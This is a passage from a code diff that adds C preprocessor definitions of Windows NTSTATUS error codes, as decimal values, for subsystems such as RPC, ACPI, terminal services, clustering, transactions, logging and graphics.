-1073610712 +#define RPC_NT_DUPLICATE_ENDPOINT -1073610711 +#define RPC_NT_UNKNOWN_AUTHN_TYPE -1073610710 +#define RPC_NT_MAX_CALLS_TOO_SMALL -1073610709 +#define RPC_NT_STRING_TOO_LONG -1073610708 +#define RPC_NT_PROTSEQ_NOT_FOUND -1073610707 +#define RPC_NT_PROCNUM_OUT_OF_RANGE -1073610706 +#define RPC_NT_BINDING_HAS_NO_AUTH -1073610705 +#define RPC_NT_UNKNOWN_AUTHN_SERVICE -1073610704 +#define RPC_NT_UNKNOWN_AUTHN_LEVEL -1073610703 +#define RPC_NT_INVALID_AUTH_IDENTITY -1073610702 +#define RPC_NT_UNKNOWN_AUTHZ_SERVICE -1073610701 +#define EPT_NT_INVALID_ENTRY -1073610700 +#define EPT_NT_CANT_PERFORM_OP -1073610699 +#define EPT_NT_NOT_REGISTERED -1073610698 +#define RPC_NT_NOTHING_TO_EXPORT -1073610697 +#define RPC_NT_INCOMPLETE_NAME -1073610696 +#define RPC_NT_INVALID_VERS_OPTION -1073610695 +#define RPC_NT_NO_MORE_MEMBERS -1073610694 +#define RPC_NT_NOT_ALL_OBJS_UNEXPORTED -1073610693 +#define RPC_NT_INTERFACE_NOT_FOUND -1073610692 +#define RPC_NT_ENTRY_ALREADY_EXISTS -1073610691 +#define RPC_NT_ENTRY_NOT_FOUND -1073610690 +#define RPC_NT_NAME_SERVICE_UNAVAILABLE -1073610689 +#define RPC_NT_INVALID_NAF_ID -1073610688 +#define RPC_NT_CANNOT_SUPPORT -1073610687 +#define RPC_NT_NO_CONTEXT_AVAILABLE -1073610686 +#define RPC_NT_INTERNAL_ERROR -1073610685 +#define RPC_NT_ZERO_DIVIDE -1073610684 +#define RPC_NT_ADDRESS_ERROR -1073610683 +#define RPC_NT_FP_DIV_ZERO -1073610682 +#define RPC_NT_FP_UNDERFLOW -1073610681 +#define RPC_NT_FP_OVERFLOW -1073610680 +#define RPC_NT_NO_MORE_ENTRIES -1073545215 +#define RPC_NT_SS_CHAR_TRANS_OPEN_FAIL -1073545214 +#define RPC_NT_SS_CHAR_TRANS_SHORT_FILE -1073545213 +#define RPC_NT_SS_IN_NULL_CONTEXT -1073545212 +#define RPC_NT_SS_CONTEXT_MISMATCH -1073545211 +#define RPC_NT_SS_CONTEXT_DAMAGED -1073545210 +#define RPC_NT_SS_HANDLES_MISMATCH -1073545209 +#define RPC_NT_SS_CANNOT_GET_CALL_HANDLE -1073545208 +#define RPC_NT_NULL_REF_POINTER -1073545207 +#define RPC_NT_ENUM_VALUE_OUT_OF_RANGE -1073545206 +#define RPC_NT_BYTE_COUNT_TOO_SMALL -1073545205 +#define RPC_NT_BAD_STUB_DATA -1073545204 +#define RPC_NT_CALL_IN_PROGRESS -1073610679 +#define RPC_NT_NO_MORE_BINDINGS -1073610678 +#define RPC_NT_GROUP_MEMBER_NOT_FOUND -1073610677 +#define EPT_NT_CANT_CREATE -1073610676 +#define RPC_NT_INVALID_OBJECT -1073610675 +#define RPC_NT_NO_INTERFACES -1073610673 +#define RPC_NT_CALL_CANCELLED -1073610672 +#define RPC_NT_BINDING_INCOMPLETE -1073610671 +#define RPC_NT_COMM_FAILURE -1073610670 +#define RPC_NT_UNSUPPORTED_AUTHN_LEVEL -1073610669 +#define RPC_NT_NO_PRINC_NAME -1073610668 +#define RPC_NT_NOT_RPC_ERROR -1073610667 +#define RPC_NT_UUID_LOCAL_ONLY 1073872982 +#define RPC_NT_SEC_PKG_ERROR -1073610665 +#define RPC_NT_NOT_CANCELLED -1073610664 +#define RPC_NT_INVALID_ES_ACTION -1073545127 +#define RPC_NT_WRONG_ES_VERSION -1073545126 +#define RPC_NT_WRONG_STUB_VERSION -1073545125 +#define RPC_NT_INVALID_PIPE_OBJECT -1073545124 +#define RPC_NT_INVALID_PIPE_OPERATION -1073545123 +#define RPC_NT_WRONG_PIPE_VERSION -1073545122 +#define RPC_NT_PIPE_CLOSED -1073545121 +#define RPC_NT_PIPE_DISCIPLINE_ERROR -1073545120 +#define RPC_NT_PIPE_EMPTY -1073545119 +#define RPC_NT_INVALID_ASYNC_HANDLE -1073610654 +#define RPC_NT_INVALID_ASYNC_CALL -1073610653 +#define RPC_NT_PROXY_ACCESS_DENIED -1073610652 +#define RPC_NT_COOKIE_AUTH_FAILED -1073610651 +#define RPC_NT_SEND_INCOMPLETE 1073873071 +#define STATUS_ACPI_INVALID_OPCODE -1072431103 +#define STATUS_ACPI_STACK_OVERFLOW -1072431102 +#define STATUS_ACPI_ASSERT_FAILED -1072431101 +#define STATUS_ACPI_INVALID_INDEX -1072431100 +#define STATUS_ACPI_INVALID_ARGUMENT -1072431099 +#define STATUS_ACPI_FATAL -1072431098 +#define STATUS_ACPI_INVALID_SUPERNAME -1072431097 +#define STATUS_ACPI_INVALID_ARGTYPE -1072431096 +#define STATUS_ACPI_INVALID_OBJTYPE -1072431095 +#define STATUS_ACPI_INVALID_TARGETTYPE -1072431094 +#define STATUS_ACPI_INCORRECT_ARGUMENT_COUNT -1072431093 +#define STATUS_ACPI_ADDRESS_NOT_MAPPED -1072431092 +#define STATUS_ACPI_INVALID_EVENTTYPE -1072431091 +#define STATUS_ACPI_HANDLER_COLLISION -1072431090 +#define STATUS_ACPI_INVALID_DATA -1072431089 +#define STATUS_ACPI_INVALID_REGION -1072431088 +#define STATUS_ACPI_INVALID_ACCESS_SIZE -1072431087 +#define STATUS_ACPI_ACQUIRE_GLOBAL_LOCK -1072431086 +#define STATUS_ACPI_ALREADY_INITIALIZED -1072431085 +#define STATUS_ACPI_NOT_INITIALIZED -1072431084 +#define STATUS_ACPI_INVALID_MUTEX_LEVEL -1072431083 +#define STATUS_ACPI_MUTEX_NOT_OWNED -1072431082 +#define STATUS_ACPI_MUTEX_NOT_OWNER -1072431081 +#define STATUS_ACPI_RS_ACCESS -1072431080 +#define STATUS_ACPI_INVALID_TABLE -1072431079 +#define STATUS_ACPI_REG_HANDLER_FAILED -1072431072 +#define STATUS_ACPI_POWER_REQUEST_FAILED -1072431071 +#define STATUS_CTX_WINSTATION_NAME_INVALID -1073086463 +#define STATUS_CTX_INVALID_PD -1073086462 +#define STATUS_CTX_PD_NOT_FOUND -1073086461 +#define STATUS_CTX_CDM_CONNECT 1074397188 +#define STATUS_CTX_CDM_DISCONNECT 1074397189 +#define STATUS_CTX_CLOSE_PENDING -1073086458 +#define STATUS_CTX_NO_OUTBUF -1073086457 +#define STATUS_CTX_MODEM_INF_NOT_FOUND -1073086456 +#define STATUS_CTX_INVALID_MODEMNAME -1073086455 +#define STATUS_CTX_RESPONSE_ERROR -1073086454 +#define STATUS_CTX_MODEM_RESPONSE_TIMEOUT -1073086453 +#define STATUS_CTX_MODEM_RESPONSE_NO_CARRIER -1073086452 +#define STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE -1073086451 +#define STATUS_CTX_MODEM_RESPONSE_BUSY -1073086450 +#define STATUS_CTX_MODEM_RESPONSE_VOICE -1073086449 +#define STATUS_CTX_TD_ERROR -1073086448 +#define STATUS_CTX_LICENSE_CLIENT_INVALID -1073086446 +#define STATUS_CTX_LICENSE_NOT_AVAILABLE -1073086445 +#define STATUS_CTX_LICENSE_EXPIRED -1073086444 +#define STATUS_CTX_WINSTATION_NOT_FOUND -1073086443 +#define STATUS_CTX_WINSTATION_NAME_COLLISION -1073086442 +#define STATUS_CTX_WINSTATION_BUSY -1073086441 +#define STATUS_CTX_BAD_VIDEO_MODE -1073086440 +#define STATUS_CTX_GRAPHICS_INVALID -1073086430 +#define STATUS_CTX_NOT_CONSOLE -1073086428 +#define STATUS_CTX_CLIENT_QUERY_TIMEOUT -1073086426 +#define STATUS_CTX_CONSOLE_DISCONNECT -1073086425 +#define STATUS_CTX_CONSOLE_CONNECT -1073086424 +#define STATUS_CTX_SHADOW_DENIED -1073086422 +#define STATUS_CTX_WINSTATION_ACCESS_DENIED -1073086421 +#define STATUS_CTX_INVALID_WD -1073086418 +#define STATUS_CTX_WD_NOT_FOUND -1073086417 +#define STATUS_CTX_SHADOW_INVALID -1073086416 +#define STATUS_CTX_SHADOW_DISABLED -1073086415 +#define STATUS_RDP_PROTOCOL_ERROR -1073086414 +#define STATUS_CTX_CLIENT_LICENSE_NOT_SET -1073086413 +#define STATUS_CTX_CLIENT_LICENSE_IN_USE -1073086412 +#define STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE -1073086411 +#define STATUS_CTX_SHADOW_NOT_RUNNING -1073086410 +#define STATUS_CTX_LOGON_DISABLED -1073086409 +#define STATUS_CTX_SECURITY_LAYER_ERROR -1073086408 +#define STATUS_TS_INCOMPATIBLE_SESSIONS -1073086407 +#define STATUS_TS_VIDEO_SUBSYSTEM_ERROR -1073086406 +#define STATUS_PNP_BAD_MPS_TABLE -1073479627 +#define STATUS_PNP_TRANSLATION_FAILED -1073479626 +#define STATUS_PNP_IRQ_TRANSLATION_FAILED -1073479625 +#define STATUS_PNP_INVALID_ID -1073479624 +#define STATUS_IO_REISSUE_AS_CACHED -1073479623 +#define STATUS_MUI_FILE_NOT_FOUND -1073020927 +#define STATUS_MUI_INVALID_FILE -1073020926 +#define STATUS_MUI_INVALID_RC_CONFIG -1073020925 +#define STATUS_MUI_INVALID_LOCALE_NAME -1073020924 +#define STATUS_MUI_INVALID_ULTIMATEFALLBACK_NAME -1073020923 +#define STATUS_MUI_FILE_NOT_LOADED -1073020922 +#define STATUS_RESOURCE_ENUM_USER_STOP -1073020921 +#define STATUS_FLT_NO_HANDLER_DEFINED -1071906815 +#define STATUS_FLT_CONTEXT_ALREADY_DEFINED -1071906814 +#define STATUS_FLT_INVALID_ASYNCHRONOUS_REQUEST -1071906813 +#define STATUS_FLT_DISALLOW_FAST_IO -1071906812 +#define STATUS_FLT_DISALLOW_FSFILTER_IO -1071906812 +#define STATUS_FLT_INVALID_NAME_REQUEST -1071906811 +#define STATUS_FLT_NOT_SAFE_TO_POST_OPERATION -1071906810 +#define STATUS_FLT_NOT_INITIALIZED -1071906809 +#define STATUS_FLT_FILTER_NOT_READY -1071906808 +#define STATUS_FLT_POST_OPERATION_CLEANUP -1071906807 +#define STATUS_FLT_INTERNAL_ERROR -1071906806 +#define STATUS_FLT_DELETING_OBJECT -1071906805 +#define STATUS_FLT_MUST_BE_NONPAGED_POOL -1071906804 +#define STATUS_FLT_DUPLICATE_ENTRY -1071906803 +#define STATUS_FLT_CBDQ_DISABLED -1071906802 +#define STATUS_FLT_DO_NOT_ATTACH -1071906801 +#define STATUS_FLT_DO_NOT_DETACH -1071906800 +#define STATUS_FLT_INSTANCE_ALTITUDE_COLLISION -1071906799 +#define STATUS_FLT_INSTANCE_NAME_COLLISION -1071906798 +#define STATUS_FLT_FILTER_NOT_FOUND -1071906797 +#define STATUS_FLT_VOLUME_NOT_FOUND -1071906796 +#define STATUS_FLT_INSTANCE_NOT_FOUND -1071906795 +#define STATUS_FLT_CONTEXT_ALLOCATION_NOT_FOUND -1071906794 +#define STATUS_FLT_INVALID_CONTEXT_REGISTRATION -1071906793 +#define STATUS_FLT_NAME_CACHE_MISS -1071906792 +#define STATUS_FLT_NO_DEVICE_OBJECT -1071906791 +#define STATUS_FLT_VOLUME_ALREADY_MOUNTED -1071906790 +#define STATUS_FLT_ALREADY_ENLISTED -1071906789 +#define STATUS_FLT_CONTEXT_ALREADY_LINKED -1071906788 +#define STATUS_FLT_NO_WAITER_FOR_REPLY -1071906784 +#define STATUS_FLT_REGISTRATION_BUSY -1071906781 +#define STATUS_FLT_WCOS_NOT_SUPPORTED -1071906780 +#define STATUS_SXS_SECTION_NOT_FOUND -1072365567 +#define STATUS_SXS_CANT_GEN_ACTCTX -1072365566 +#define STATUS_SXS_INVALID_ACTCTXDATA_FORMAT -1072365565 +#define STATUS_SXS_ASSEMBLY_NOT_FOUND -1072365564 +#define STATUS_SXS_MANIFEST_FORMAT_ERROR -1072365563 +#define STATUS_SXS_MANIFEST_PARSE_ERROR -1072365562 +#define STATUS_SXS_ACTIVATION_CONTEXT_DISABLED -1072365561 +#define STATUS_SXS_KEY_NOT_FOUND -1072365560 +#define STATUS_SXS_VERSION_CONFLICT -1072365559 +#define STATUS_SXS_WRONG_SECTION_TYPE -1072365558 +#define STATUS_SXS_THREAD_QUERIES_DISABLED -1072365557 +#define STATUS_SXS_ASSEMBLY_MISSING -1072365556 +#define STATUS_SXS_RELEASE_ACTIVATION_CONTEXT 1075118093 +#define STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET -1072365554 +#define STATUS_SXS_EARLY_DEACTIVATION -1072365553 +#define STATUS_SXS_INVALID_DEACTIVATION -1072365552 +#define STATUS_SXS_MULTIPLE_DEACTIVATION -1072365551 +#define STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY -1072365550 +#define STATUS_SXS_PROCESS_TERMINATION_REQUESTED -1072365549 +#define STATUS_SXS_CORRUPT_ACTIVATION_STACK -1072365548 +#define STATUS_SXS_CORRUPTION -1072365547 +#define STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE -1072365546 +#define STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME -1072365545 +#define STATUS_SXS_IDENTITY_DUPLICATE_ATTRIBUTE -1072365544 +#define STATUS_SXS_IDENTITY_PARSE_ERROR -1072365543 +#define STATUS_SXS_COMPONENT_STORE_CORRUPT -1072365542 +#define STATUS_SXS_FILE_HASH_MISMATCH -1072365541 +#define STATUS_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT -1072365540 +#define STATUS_SXS_IDENTITIES_DIFFERENT -1072365539 +#define STATUS_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT -1072365538 +#define STATUS_SXS_FILE_NOT_PART_OF_ASSEMBLY -1072365537 +#define STATUS_ADVANCED_INSTALLER_FAILED -1072365536 +#define STATUS_XML_ENCODING_MISMATCH -1072365535 +#define STATUS_SXS_MANIFEST_TOO_BIG -1072365534 +#define STATUS_SXS_SETTING_NOT_REGISTERED -1072365533 +#define STATUS_SXS_TRANSACTION_CLOSURE_INCOMPLETE -1072365532 +#define STATUS_SMI_PRIMITIVE_INSTALLER_FAILED -1072365531 +#define STATUS_GENERIC_COMMAND_FAILED -1072365530 +#define STATUS_SXS_FILE_HASH_MISSING -1072365529 +#define STATUS_CLUSTER_INVALID_NODE -1072496639 +#define STATUS_CLUSTER_NODE_EXISTS -1072496638 +#define STATUS_CLUSTER_JOIN_IN_PROGRESS -1072496637 +#define STATUS_CLUSTER_NODE_NOT_FOUND -1072496636 +#define STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND -1072496635 +#define STATUS_CLUSTER_NETWORK_EXISTS -1072496634 +#define STATUS_CLUSTER_NETWORK_NOT_FOUND -1072496633 +#define STATUS_CLUSTER_NETINTERFACE_EXISTS -1072496632 +#define STATUS_CLUSTER_NETINTERFACE_NOT_FOUND -1072496631 +#define STATUS_CLUSTER_INVALID_REQUEST -1072496630 +#define STATUS_CLUSTER_INVALID_NETWORK_PROVIDER -1072496629 +#define STATUS_CLUSTER_NODE_DOWN -1072496628 +#define STATUS_CLUSTER_NODE_UNREACHABLE -1072496627 +#define STATUS_CLUSTER_NODE_NOT_MEMBER -1072496626 +#define STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS -1072496625 +#define STATUS_CLUSTER_INVALID_NETWORK -1072496624 +#define STATUS_CLUSTER_NO_NET_ADAPTERS -1072496623 +#define STATUS_CLUSTER_NODE_UP -1072496622 +#define STATUS_CLUSTER_NODE_PAUSED -1072496621 +#define STATUS_CLUSTER_NODE_NOT_PAUSED -1072496620 +#define STATUS_CLUSTER_NO_SECURITY_CONTEXT -1072496619 +#define STATUS_CLUSTER_NETWORK_NOT_INTERNAL -1072496618 +#define STATUS_CLUSTER_POISONED -1072496617 +#define STATUS_CLUSTER_NON_CSV_PATH -1072496616 +#define STATUS_CLUSTER_CSV_VOLUME_NOT_LOCAL -1072496615 +#define STATUS_CLUSTER_CSV_READ_OPLOCK_BREAK_IN_PROGRESS -1072496608 +#define STATUS_CLUSTER_CSV_AUTO_PAUSE_ERROR -1072496607 +#define STATUS_CLUSTER_CSV_REDIRECTED -1072496606 +#define STATUS_CLUSTER_CSV_NOT_REDIRECTED -1072496605 +#define STATUS_CLUSTER_CSV_VOLUME_DRAINING -1072496604 +#define STATUS_CLUSTER_CSV_SNAPSHOT_CREATION_IN_PROGRESS -1072496603 +#define STATUS_CLUSTER_CSV_VOLUME_DRAINING_SUCCEEDED_DOWNLEVEL -1072496602 +#define STATUS_CLUSTER_CSV_NO_SNAPSHOTS -1072496601 +#define STATUS_CSV_IO_PAUSE_TIMEOUT -1072496600 +#define STATUS_CLUSTER_CSV_INVALID_HANDLE -1072496599 +#define STATUS_CLUSTER_CSV_SUPPORTED_ONLY_ON_COORDINATOR -1072496592 +#define STATUS_CLUSTER_CAM_TICKET_REPLAY_DETECTED -1072496591 +#define STATUS_TRANSACTIONAL_CONFLICT -1072103423 +#define STATUS_INVALID_TRANSACTION -1072103422 +#define STATUS_TRANSACTION_NOT_ACTIVE -1072103421 +#define STATUS_TM_INITIALIZATION_FAILED -1072103420 +#define STATUS_RM_NOT_ACTIVE -1072103419 +#define STATUS_RM_METADATA_CORRUPT -1072103418 +#define STATUS_TRANSACTION_NOT_JOINED -1072103417 +#define STATUS_DIRECTORY_NOT_RM -1072103416 +#define STATUS_COULD_NOT_RESIZE_LOG -2145845239 +#define STATUS_TRANSACTIONS_UNSUPPORTED_REMOTE -1072103414 +#define STATUS_LOG_RESIZE_INVALID_SIZE -1072103413 +#define STATUS_REMOTE_FILE_VERSION_MISMATCH -1072103412 +#define STATUS_CRM_PROTOCOL_ALREADY_EXISTS -1072103409 +#define STATUS_TRANSACTION_PROPAGATION_FAILED -1072103408 +#define STATUS_CRM_PROTOCOL_NOT_FOUND -1072103407 +#define STATUS_TRANSACTION_SUPERIOR_EXISTS -1072103406 +#define STATUS_TRANSACTION_REQUEST_NOT_VALID -1072103405 +#define STATUS_TRANSACTION_NOT_REQUESTED -1072103404 +#define STATUS_TRANSACTION_ALREADY_ABORTED -1072103403 +#define STATUS_TRANSACTION_ALREADY_COMMITTED -1072103402 +#define STATUS_TRANSACTION_INVALID_MARSHALL_BUFFER -1072103401 +#define STATUS_CURRENT_TRANSACTION_NOT_VALID -1072103400 +#define STATUS_LOG_GROWTH_FAILED -1072103399 +#define STATUS_OBJECT_NO_LONGER_EXISTS -1072103391 +#define STATUS_STREAM_MINIVERSION_NOT_FOUND -1072103390 +#define STATUS_STREAM_MINIVERSION_NOT_VALID -1072103389 +#define STATUS_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION -1072103388 +#define STATUS_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT -1072103387 +#define STATUS_CANT_CREATE_MORE_STREAM_MINIVERSIONS -1072103386 +#define STATUS_HANDLE_NO_LONGER_VALID -1072103384 +#define STATUS_NO_TXF_METADATA -2145845207 +#define STATUS_LOG_CORRUPTION_DETECTED -1072103376 +#define STATUS_CANT_RECOVER_WITH_HANDLE_OPEN -2145845199 +#define STATUS_RM_DISCONNECTED -1072103374 +#define STATUS_ENLISTMENT_NOT_SUPERIOR -1072103373 +#define STATUS_RECOVERY_NOT_NEEDED 1075380276 +#define STATUS_RM_ALREADY_STARTED 1075380277 +#define STATUS_FILE_IDENTITY_NOT_PERSISTENT -1072103370 +#define STATUS_CANT_BREAK_TRANSACTIONAL_DEPENDENCY -1072103369 +#define STATUS_CANT_CROSS_RM_BOUNDARY -1072103368 +#define STATUS_TXF_DIR_NOT_EMPTY -1072103367 +#define STATUS_INDOUBT_TRANSACTIONS_EXIST -1072103366 +#define STATUS_TM_VOLATILE -1072103365 +#define STATUS_ROLLBACK_TIMER_EXPIRED -1072103364 +#define STATUS_TXF_ATTRIBUTE_CORRUPT -1072103363 +#define STATUS_EFS_NOT_ALLOWED_IN_TRANSACTION -1072103362 +#define STATUS_TRANSACTIONAL_OPEN_NOT_ALLOWED -1072103361 +#define STATUS_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE -1072103360 +#define STATUS_TXF_METADATA_ALREADY_PRESENT -2145845183 +#define STATUS_TRANSACTION_SCOPE_CALLBACKS_NOT_SET -2145845182 +#define STATUS_TRANSACTION_REQUIRED_PROMOTION -1072103357 +#define STATUS_CANNOT_EXECUTE_FILE_IN_TRANSACTION -1072103356 +#define STATUS_TRANSACTIONS_NOT_FROZEN -1072103355 +#define STATUS_TRANSACTION_FREEZE_IN_PROGRESS -1072103354 +#define STATUS_NOT_SNAPSHOT_VOLUME -1072103353 +#define STATUS_NO_SAVEPOINT_WITH_OPEN_FILES -1072103352 +#define STATUS_SPARSE_NOT_ALLOWED_IN_TRANSACTION -1072103351 +#define STATUS_TM_IDENTITY_MISMATCH -1072103350 +#define STATUS_FLOATED_SECTION -1072103349 +#define STATUS_CANNOT_ACCEPT_TRANSACTED_WORK -1072103348 +#define STATUS_CANNOT_ABORT_TRANSACTIONS -1072103347 +#define STATUS_TRANSACTION_NOT_FOUND -1072103346 +#define STATUS_RESOURCEMANAGER_NOT_FOUND -1072103345 +#define STATUS_ENLISTMENT_NOT_FOUND -1072103344 +#define STATUS_TRANSACTIONMANAGER_NOT_FOUND -1072103343 +#define STATUS_TRANSACTIONMANAGER_NOT_ONLINE -1072103342 +#define STATUS_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION -1072103341 +#define STATUS_TRANSACTION_NOT_ROOT -1072103340 +#define STATUS_TRANSACTION_OBJECT_EXPIRED -1072103339 +#define STATUS_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION -1072103338 +#define STATUS_TRANSACTION_RESPONSE_NOT_ENLISTED -1072103337 +#define STATUS_TRANSACTION_RECORD_TOO_LONG -1072103336 +#define STATUS_NO_LINK_TRACKING_IN_TRANSACTION -1072103335 +#define STATUS_OPERATION_NOT_SUPPORTED_IN_TRANSACTION -1072103334 +#define STATUS_TRANSACTION_INTEGRITY_VIOLATED -1072103333 +#define STATUS_TRANSACTIONMANAGER_IDENTITY_MISMATCH -1072103332 +#define STATUS_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT -1072103331 +#define STATUS_TRANSACTION_MUST_WRITETHROUGH -1072103330 +#define STATUS_TRANSACTION_NO_SUPERIOR -1072103329 +#define STATUS_EXPIRED_HANDLE -1072103328 +#define STATUS_TRANSACTION_NOT_ENLISTED -1072103327 +#define STATUS_ENLISTMENT_NOT_INITIALIZED -1072103326 +#define STATUS_LOG_SECTOR_INVALID -1072037887 +#define STATUS_LOG_SECTOR_PARITY_INVALID -1072037886 +#define STATUS_LOG_SECTOR_REMAPPED -1072037885 +#define STATUS_LOG_BLOCK_INCOMPLETE -1072037884 +#define STATUS_LOG_INVALID_RANGE -1072037883 +#define STATUS_LOG_BLOCKS_EXHAUSTED -1072037882 +#define STATUS_LOG_READ_CONTEXT_INVALID -1072037881 +#define STATUS_LOG_RESTART_INVALID -1072037880 +#define STATUS_LOG_BLOCK_VERSION -1072037879 +#define STATUS_LOG_BLOCK_INVALID -1072037878 +#define STATUS_LOG_READ_MODE_INVALID -1072037877 +#define STATUS_LOG_NO_RESTART 1075445772 +#define STATUS_LOG_METADATA_CORRUPT -1072037875 +#define STATUS_LOG_METADATA_INVALID -1072037874 +#define STATUS_LOG_METADATA_INCONSISTENT -1072037873 +#define STATUS_LOG_RESERVATION_INVALID -1072037872 +#define STATUS_LOG_CANT_DELETE -1072037871 +#define STATUS_LOG_CONTAINER_LIMIT_EXCEEDED -1072037870 +#define STATUS_LOG_START_OF_LOG -1072037869 +#define STATUS_LOG_POLICY_ALREADY_INSTALLED -1072037868 +#define STATUS_LOG_POLICY_NOT_INSTALLED -1072037867 +#define STATUS_LOG_POLICY_INVALID -1072037866 +#define STATUS_LOG_POLICY_CONFLICT -1072037865 +#define STATUS_LOG_PINNED_ARCHIVE_TAIL -1072037864 +#define STATUS_LOG_RECORD_NONEXISTENT -1072037863 +#define STATUS_LOG_RECORDS_RESERVED_INVALID -1072037862 +#define STATUS_LOG_SPACE_RESERVED_INVALID -1072037861 +#define STATUS_LOG_TAIL_INVALID -1072037860 +#define STATUS_LOG_FULL -1072037859 +#define STATUS_LOG_MULTIPLEXED -1072037858 +#define STATUS_LOG_DEDICATED -1072037857 +#define STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS -1072037856 +#define STATUS_LOG_ARCHIVE_IN_PROGRESS -1072037855 +#define STATUS_LOG_EPHEMERAL -1072037854 +#define STATUS_LOG_NOT_ENOUGH_CONTAINERS -1072037853 +#define STATUS_LOG_CLIENT_ALREADY_REGISTERED -1072037852 +#define STATUS_LOG_CLIENT_NOT_REGISTERED -1072037851 +#define STATUS_LOG_FULL_HANDLER_IN_PROGRESS -1072037850 +#define STATUS_LOG_CONTAINER_READ_FAILED -1072037849 +#define STATUS_LOG_CONTAINER_WRITE_FAILED -1072037848 +#define STATUS_LOG_CONTAINER_OPEN_FAILED -1072037847 +#define STATUS_LOG_CONTAINER_STATE_INVALID -1072037846 +#define STATUS_LOG_STATE_INVALID -1072037845 +#define STATUS_LOG_PINNED -1072037844 +#define STATUS_LOG_METADATA_FLUSH_FAILED -1072037843 +#define STATUS_LOG_INCONSISTENT_SECURITY -1072037842 +#define STATUS_LOG_APPENDED_FLUSH_FAILED -1072037841 +#define STATUS_LOG_PINNED_RESERVATION -1072037840 +#define STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD -1071972118 +#define STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD_RECOVERED -2145713941 +#define STATUS_VIDEO_DRIVER_DEBUG_REPORT_REQUEST 1075511532 +#define STATUS_MONITOR_NO_DESCRIPTOR -1071841279 +#define STATUS_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT -1071841278 +#define STATUS_MONITOR_INVALID_DESCRIPTOR_CHECKSUM -1071841277 +#define STATUS_MONITOR_INVALID_STANDARD_TIMING_BLOCK -1071841276 +#define STATUS_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED -1071841275 +#define STATUS_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK -1071841274 +#define STATUS_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK -1071841273 +#define STATUS_MONITOR_NO_MORE_DESCRIPTOR_DATA -1071841272 +#define STATUS_MONITOR_INVALID_DETAILED_TIMING_BLOCK -1071841271 +#define STATUS_MONITOR_INVALID_MANUFACTURE_DATE -1071841270 +#define STATUS_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER -1071775744 +#define STATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER -1071775743 +#define STATUS_GRAPHICS_INVALID_DISPLAY_ADAPTER -1071775742 +#define STATUS_GRAPHICS_ADAPTER_WAS_RESET -1071775741 +#define STATUS_GRAPHICS_INVALID_DRIVER_MODEL -1071775740 +#define STATUS_GRAPHICS_PRESENT_MODE_CHANGED -1071775739 +#define STATUS_GRAPHICS_PRESENT_OCCLUDED -1071775738 +#define STATUS_GRAPHICS_PRESENT_DENIED -1071775737 +#define STATUS_GRAPHICS_CANNOTCOLORCONVERT -1071775736 +#define STATUS_GRAPHICS_DRIVER_MISMATCH -1071775735 +#define STATUS_GRAPHICS_PARTIAL_DATA_POPULATED 1075707914 +#define STATUS_GRAPHICS_PRESENT_REDIRECTION_DISABLED -1071775733 +#define STATUS_GRAPHICS_PRESENT_UNOCCLUDED -1071775732 +#define STATUS_GRAPHICS_WINDOWDC_NOT_AVAILABLE -1071775731 +#define STATUS_GRAPHICS_WINDOWLESS_PRESENT_DISABLED -1071775730 +#define STATUS_GRAPHICS_PRESENT_INVALID_WINDOW -1071775729 +#define STATUS_GRAPHICS_PRESENT_BUFFER_NOT_BOUND -1071775728 +#define STATUS_GRAPHICS_VAIL_STATE_CHANGED -1071775727 +#define STATUS_GRAPHICS_INDIRECT_DISPLAY_ABANDON_SWAPCHAIN -1071775726 +#define STATUS_GRAPHICS_INDIRECT_DISPLAY_DEVICE_STOPPED -1071775725 +#define STATUS_GRAPHICS_MPO_ALLOCATION_UNPINNED -1071775720 +#define STATUS_GRAPHICS_SETDISPLAYMODE_REQUIRED -1071775719 +#define STATUS_GRAPHICS_NO_VIDEO_MEMORY -1071775488 +#define STATUS_GRAPHICS_CANT_LOCK_MEMORY -1071775487 +#define STATUS_GRAPHICS_ALLOCATION_BUSY -1071775486 +#define STATUS_GRAPHICS_TOO_MANY_REFERENCES -1071775485 +#define STATUS_GRAPHICS_TRY_AGAIN_LATER -1071775484 +#define STATUS_GRAPHICS_TRY_AGAIN_NOW -1071775483 +#define STATUS_GRAPHICS_ALLOCATION_INVALID -1071775482 +#define STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE -1071775481 +#define STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED -1071775480 +#define STATUS_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION -1071775479 +#define STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE -1071775472 +#define STATUS_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION -1071775471 +#define STATUS_GRAPHICS_ALLOCATION_CLOSED -1071775470 +#define STATUS_GRAPHICS_INVALID_ALLOCATION_INSTANCE -1071775469 +#define STATUS_GRAPHICS_INVALID_ALLOCATION_HANDLE -1071775468 +#define STATUS_GRAPHICS_WRONG_ALLOCATION_DEVICE -1071775467 +#define STATUS_GRAPHICS_ALLOCATION_CONTENT_LOST -1071775466 +#define STATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE -1071775232 +#define STATUS_GRAPHICS_SKIP_ALLOCATION_PREPARATION 1075708417 +#define 